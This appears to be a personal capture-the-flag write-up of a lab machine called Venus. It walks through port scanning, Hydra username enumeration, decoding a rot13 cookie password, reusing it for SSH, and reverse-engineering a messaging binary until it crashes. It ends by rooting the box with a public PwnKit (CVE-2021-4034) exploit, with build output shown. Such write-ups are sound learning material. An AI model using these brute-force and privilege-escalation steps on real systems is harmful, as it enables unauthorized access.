A somewhat more difficult box with which I needed some help.
I’ve not done any of this security/vulnVM stuff for several years now, and it shows. Although I got fairly far with this box, I had some learning to do when it came to the root flag. Hey, a day spent learning, is not a day wasted, right?
Getting a shell #
As is custom, let’s see what ports we have to work with. The usual nmap command doesn’t work as it looks like the machine is blocking ping probes.
Nmap scan report for 10.10.10.4
Host is up (0.0015s latency).
Not shown: 584 filtered tcp ports (no-response), 414 filtered tcp ports (host-unreach)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
As before it offers up an HTTP port on 8080 and an SSH port on 22. When connecting to the IP via the browser we are presented with a login form and a hint saying we can login with guest/guest. That all works as expected. Tried some SQLi in the username and password field without success. Trying a random username does give us something interesting
What this means is that it’s possible to enumerate users. If you enter guest
and a random password it says Invalid password.. There’s a different response depending on if the username is correct or not. Usernames can be enumerated with a tool like Hydra. It took a few wordlists to find the right one to use.
$ hydra -L usernames.txt -p pass -s 8080 10.10.10.4 http-post-form "/:username=^USER^&password=^PASS^:Invalid username."
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-01 18:43:20
[DATA] max 16 tasks per 1 server, overall 16 tasks, 81475 login tries (l:81475/p:1), ~5093 tries per task
[DATA] attacking http-post-form://10.10.10.4:8080/:username=^USER^&password=^PASS^:Invalid username.
[STATUS] 2994.00 tries/min, 2994 tries in 00:01h, 78481 to do in 00:27h, 16 active
[STATUS] 3106.00 tries/min, 9318 tries in 00:03h, 72157 to do in 00:24h, 16 active
[STATUS] 3141.43 tries/min, 21990 tries in 00:07h, 59485 to do in 00:19h, 16 active
[8080][http-post-form] host: 10.10.10.4 login: guest password: pass
[STATUS] 3125.25 tries/min, 37503 tries in 00:12h, 43972 to do in 00:15h, 16 active
[8080][http-post-form] host: 10.10.10.4 login: magellan password: pass
[STATUS] 3206.35 tries/min, 54508 tries in 00:17h, 26967 to do in 00:09h, 16 active
[STATUS] 3215.55 tries/min, 70742 tries in 00:22h, 10733 to do in 00:04h, 16 active
[8080][http-post-form] host: 10.10.10.4 login: venus password: pass
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-01 19:08:39
We find two other users: venus
and magellan
. If we log in with those users using their name as the password, only venus works.
If you check the developer tools and then storage you can see that there’s a new cookie set. In order to invalidate the logins, that needs to be deleted. Now we also know that a cookie is set somewhere. Let’s try logging in again but this time inspect the request and response.
Logging in with venus/venus results in
base64 encoded string which is the username and some string. Now, what happens if we replay that request, but replace that string with magellan:random
?
Seems like the cookie gets updated with the new username and a different string. The strings for guest and venus were the same length as the password, so like a substitution cipher or something like rot13?
$ echo -n irahf |rot13
venus
ah, so it is… what’s magellan’s password rotate to?
$ echo -n irahfvnatrbybtl1989 | rot13
venusiangeology1989
In the last box the web users would use the same password for their logins and their ssh creds. Let’s just try that, it won’t cost much.
$ ssh magellan@10.10.10.4
magellan@10.10.10.4's password:
Last login: Sun Jun 30 12:00:29 2024 from 10.10.10.2
[magellan@venus ~]$ ls
user_flag.txt venus_monitor_proj
ding ding we have a flag. One down.
That root flag though #
We need to find the root flag. Checking what (if anything) magellan can run as root
[magellan@venus ~]$ sudo -l
[sudo] password for magellan:
Sorry, user magellan may not run sudo on venus.
Shame. Next let’s take a look at the project and see if the source code reveals anything…. also fruitless.
Why not see if there’s any processes that might be of interested?
[magellan@venus ~]$ ps -aux | grep root
.
.
root 202091 0.0 0.0 2384 744 ? Ss 19:19 0:00 /usr/bin/venus_messaging
.
.
That isn’t a regular linux command. Wonder what it does
[magellan@venus ~]$ /usr/bin/venus_messaging
bind failed.: Address already in use
Some sort of server it would seem. What port is it on?
[magellan@venus ~]$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5355 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 851/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::5355 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN
8080 is the webserver, 5355 does nothing, and 9080
nc 127.0.0.1 9080
Welcome to the Venus messaging service.
To continue, please enter your password:
Ok, let’s take a closer look at this file
[magellan@venus ~]$ file /usr/bin/venus_messaging
/usr/bin/venus_messaging: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=507e0f11fb7b76b7b944cc5799d1cf9723ab4caa, for GNU/Linux 3.2.0, not stripped
Looks like it needs to be copied off of the host for me to take a closer look at it with some other tools, like Ghidra perhaps. After analysing the file and looking at the main
function we can see a variable that has been assigned loveandbeauty
. It could well be the password, so I renamed the variable password
to make it easier to spot later on. Following the code the variable is soon used in a strcmp
statement. Right after the request for the the password input. It’s a very likely password candidate.
[magellan@venus ~]$ nc 127.0.0.1 9080
Welcome to the Venus messaging service.
To continue, please enter your password:loveandbeauty
Access granted, you can now send messages to the Venus space station.
Please enter message to be processed:
asdasdasdasd
Message sent to the Venus space station
Good. That’s step one done. I’ll follow the code through to the recv_message
function. This is where the user input is processed, making it of particular interest.
In this method there’s a call to recv
which looks interesting.
Checking the manpage for recv
it shows the signature.
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
The third parameter is the length to receive which is 0x800
in hex and 2048
in decimal. It should be possible to segfault the program is the user message is longer than 2048 characters.
Step 1: Create the pattern
$ ./pattern.py 2049
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2
Step 2: Start listener
$ ./venus_messaging
Listening on port 9080
Step 3: Send message to server and observe
I won’t put the entire 2049 string in again. Connect with nc
to the local server, enter the password, and paste the long string. Back in the terminal where the listener is running:
Message acknowledgement sent.
Segmentation fault
It’s at this point I had to go look elsewhere for help. I haven’t done any proper binary exploits for several years, nor any RE, so I am extremely rusty. I discovered that the solution requires the use of ROP gadgets in order to get a shell. I won’t repeat that here as I found an even easier answer: The server is vulnerable to a few CVEs. I discovered this tool that scans a server and reports possible vulnerabilities. After the scan (it runs on the target machine) one CVE stood out: CVE-2021-4034. It’s an old exploit so there’s a few readily available scripts available. I used this one .
Sure enough, result:
$ make .
make: Warning: File 'Makefile' has modification time 69859 s in the future
make: Nothing to be done for '.'.
make: warning: Clock skew detected. Your build may be incomplete.
[magellan@venus CVE-2021-4034]$ make
make: Warning: File 'Makefile' has modification time 69858 s in the future
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
make: warning: Clock skew detected. Your build may be incomplete.
[magellan@venus CVE-2021-4034]$ ls
cve-2021-4034 cve-2021-4034.sh gconv-modules LICENSE pwnkit.c README.md
cve-2021-4034.c dry-run 'GCONV_PATH=.' Makefile pwnkit.so
[magellan@venus CVE-2021-4034]$ ./cve-2021-4034
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root),1001(magellan) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-5.1# cat /root
cat: /root: Is a directory
sh-5.1# cat /root/
.bash_history .bash_profile .cshrc .python_history anaconda-ks.cfg
.bash_logout .bashrc .lesshst .tcshrc root_flag.txt
sh-5.1# cat /root/root_flag.txt
I will also do the binary exploit just because I used to enjoy doing them, but for this writeup both flags have been retrieved. One more planet machine left after this. Wonder what that has queued up for us.